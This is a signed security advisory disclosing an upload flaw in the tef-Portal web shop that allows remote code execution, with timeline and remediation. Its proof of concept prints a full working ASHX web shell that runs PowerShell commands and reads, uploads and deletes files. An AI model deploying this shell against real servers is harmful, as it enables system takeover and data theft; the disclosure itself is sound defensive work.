-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2023-021 Product: tef-Portal Manufacturer: tef-Dokumentation GmbH Affected Version(s): 2023-07-17 Tested Version(s): 2023-07-17 Vulnerability Type: Unrestricted Upload of File with Dangerous Type (CWE-434) Incomplete List of Disallowed Inputs (CWE-184) Risk Level: High Solution Status: Open Manufacturer Notification: 2023-07-21 Solution Date: 2023-08-08 Public Disclosure: 2023-08-28 CVE Reference: CVE-2023-41108 Author of Advisory: Nikolaus Seitzer, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The cloud-based software "tef-Portal" is a web shop system. The manufacturer describes the product as follows (see [1]): "With this portal, you are close to your dealers and service partners around the clock. You can optimize your dealer management with little effort and improve your partners’ loyalty to you as a manufacturer." Due to missing input validation, the tef-Portal is prone to a remote code execution vulnerability. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The file upload for "Aenderungsdienst" allows uploading files including ones with the file extension ".ashx" which are executed by the underlying IIS web server. This enables an attacker to execute malicious code on the web server, compromising the system and all data contained in the web application. This is due to a blocklist-based approach where file extensions like ".asp" or ".aspx" are not allowed, but other dangerous file types can be uploaded. Other file extensions like ".html" might also lead to problems like being interpreted by the browser as an HTML document. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): Upload the following file to the web server using the "Aenderungsdienst" file upload found at the URL .tef-kat.com/wiesheu-webkat/Aenderungsdienst/Aenderung.aspx: ~~~ webshell.ashx: <%@ WebHandler Language="C#" Class="Handler" %> using System.IO; using System.Diagnostics; using System.Web; using System.Web.UI.WebControls; public class Handler : IHttpHandler { public void ProcessRequest(HttpContext context) { if (context.Request["pass"] == "XXXXXXXXXXXXXXXX"){ string outstr = ""; // get pwd string dir = context.Server.MapPath(".") + "/"; if (context.Request.QueryString["fdir"] != null) dir = context.Request.QueryString["fdir"] + "/"; dir = dir.Replace("\\", "/"); dir = dir.Replace("//", "/"); // build nav for path literal string[] dirparts = dir.Split('/'); string linkwalk = ""; foreach (string curpart in dirparts) { if (curpart.Length == 0) continue; linkwalk += curpart + "/"; outstr += string.Format("{1}/ ", HttpUtility.UrlEncode(linkwalk), HttpUtility.HtmlEncode(curpart)); } string lblPath = outstr; // create drive list outstr = ""; foreach(DriveInfo curdrive in DriveInfo.GetDrives()) { if (!curdrive.IsReady) continue; string driveRoot = curdrive.RootDirectory.Name.Replace("\\", ""); outstr += string.Format("{1} ", HttpUtility.UrlEncode(driveRoot), HttpUtility.HtmlEncode(driveRoot)); } string lblDrives = outstr; // send file ? if ((context.Request.QueryString["get"] != null) && (context.Request.QueryString["get"].Length > 0)) { context.Response.ClearContent(); context.Response.WriteFile(context.Request.QueryString["get"]); context.Response.End(); } // delete file ? if ((context.Request.QueryString["del"] != null) && (context.Request.QueryString["del"].Length > 0)) File.Delete(context.Request.QueryString["del"]); foreach (string file in context.Request.Files) { HttpPostedFile hpf = context.Request.Files[file] as HttpPostedFile; if (hpf.ContentLength == 0) continue; string fileName = hpf.FileName; int splitAt = hpf.FileName.LastIndexOfAny(new char[] { '/', '\\' }); if (splitAt >= 0) fileName = hpf.FileName.Substring(splitAt); hpf.SaveAs(dir + "/" + fileName); } // enum directory and generate listing in the right pane DirectoryInfo di = new DirectoryInfo(dir); outstr = ""; foreach (DirectoryInfo curdir in di.GetDirectories()) { string fstr = string.Format("{1}", HttpUtility.UrlEncode(dir + "/" + curdir.Name), HttpUtility.HtmlEncode(curdir.Name)); outstr += string.Format("{0}<DIR>", fstr); } foreach (FileInfo curfile in di.GetFiles()) { string fstr = string.Format("{1}", HttpUtility.UrlEncode(dir + "/" + curfile.Name), HttpUtility.HtmlEncode(curfile.Name)); string astr = string.Format("Del", HttpUtility.UrlEncode(dir), HttpUtility.UrlEncode(dir + "/" + curfile.Name)); outstr += string.Format("{0}{1:d}{2}", fstr, curfile.Length / 1024, astr); } string lblDirOut = outstr; string lblCmdOut = ""; // exec cmd ? if (context.Request["txtCmdIn"] != null) { Process p = new Process(); p.StartInfo.CreateNoWindow = true; p.StartInfo.FileName = "powershell.exe"; p.StartInfo.Arguments = "/c " + context.Request["txtCmdIn"]; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.StartInfo.WorkingDirectory = dir; p.Start(); lblCmdOut = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); } context.Response.ContentType = "text/html"; context.Response.Write("\n\n"); context.Response.Write("\n"); context.Response.Write("\n"); context.Response.Write(" ASPX Shell\n"); context.Response.Write(" \n"); context.Response.Write("\n"); context.Response.Write("\n"); context.Response.Write("

ASHX Shell SySS

\n"); context.Response.Write("
\n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write("
\n"); context.Response.Write("

Shell

\n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write("
" + lblCmdOut + "
\n"); context.Response.Write("
\n"); context.Response.Write("

File Browser

\n"); context.Response.Write("

\n"); context.Response.Write(" Drives:
\n"); context.Response.Write(lblDrives + "\n"); context.Response.Write("

\n"); context.Response.Write("

\n"); context.Response.Write(" Working directory:
\n"); context.Response.Write(lblPath + "\n"); context.Response.Write("

\n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write(lblDirOut + "\n"); context.Response.Write("
NameSize KBActions
\n"); context.Response.Write("

Upload to this directory:
\n"); context.Response.Write(" \n"); context.Response.Write(" \n"); context.Response.Write("

\n"); context.Response.Write("
\n"); context.Response.Write("
\n"); context.Response.Write("\n"); context.Response.Write("\n"); } } public bool IsReusable { get { return false; } } } ~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: When using the current version of tef-Portal, make sure only a fixed list of file extensions can be uploaded. Also ensure those file extensions are not of a dangerous type. More information can be found at https://tef.de/blog-2/. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2023-07-17: Vulnerability discovered 2023-07-21: Vulnerability reported to manufacturer 2023-08-08: Patch released by manufacturer 2023-08-28: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] Product website for tef-Portal https://tef.de/en/software-solutions/tef-portal/ [2] SySS Security Advisory SYSS-2023-021 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-021.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Nikolaus Seitzer of SySS GmbH. E-Mail: nikolaus.seitzer@syss.de Public Key: https://www.syss.de/kontakt/pgp-keys Key Fingerprint: 726A 551F 5717 BB28 B45F 9F9E 3242 E1E4 E9EB 1DF1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEcmpVH1cXuyi0X5+eMkLh5OnrHfEFAmTodJUACgkQMkLh5Onr HfFuow/8Dvp7xU9OfEUrNS2026LtDeAJFeTXuwjp0qFOdf86KGGrfnz19TrPFiri OIeJbkpBHaRq8vUWJbBRrpnno94tQhtaH6qqV8HXTJOW3Fyqybl1L7rg2ezDjpwf Ke5FOhFO4ENkcsfHRw1NIPU0AKXxuZqf0AKOHvMNYqePA15ngRUn0YTZrL8ZWHH5 NybGqHG+EeKv2LDIfGisC/gKdD8ZA0e/CfBRROQXJhxrZNkpX+HezKBQyXmFFbdT 8aRDLv8VneNBwrIpqG2UU4OEzGKAXrO7KPcSn2WZn2ilqwJn5mpHWzrkn10ayEsk yehS/3aXFfEp3n+SyytukMtR2u3UgAzADdnMtbe32IvX4CswXMBdjHHtI1xAFV81 9xyBb9T+w9xDzOHSRtf/81n4dP+Cx/vmdkE8nLBEFDMp++mEQwi3yPIwWAlsF6aK DSn6VoZ6YGc1P530Yh5sH+oqvCQpLY+yMbs49q8cCSN2NiRY4J9uJh/ARWrMFMnv Oavaa5EXODfaa779FrB/7x7Im1PB6ZCtQORYXwkgZewkOt22oALf/bKUvoZ9WdSb jzA8MnKSnkK9TBCqV4IgU+xb8Vz5YJDmqwszP9NICPNRArcyYFNnSNVjPJWZmf78 OSxjaNFQuR1KixvquyHQibWEDN+4Bz2mmbUK+W2fWFezEu3zvHE= =HiSb -----END PGP SIGNATURE-----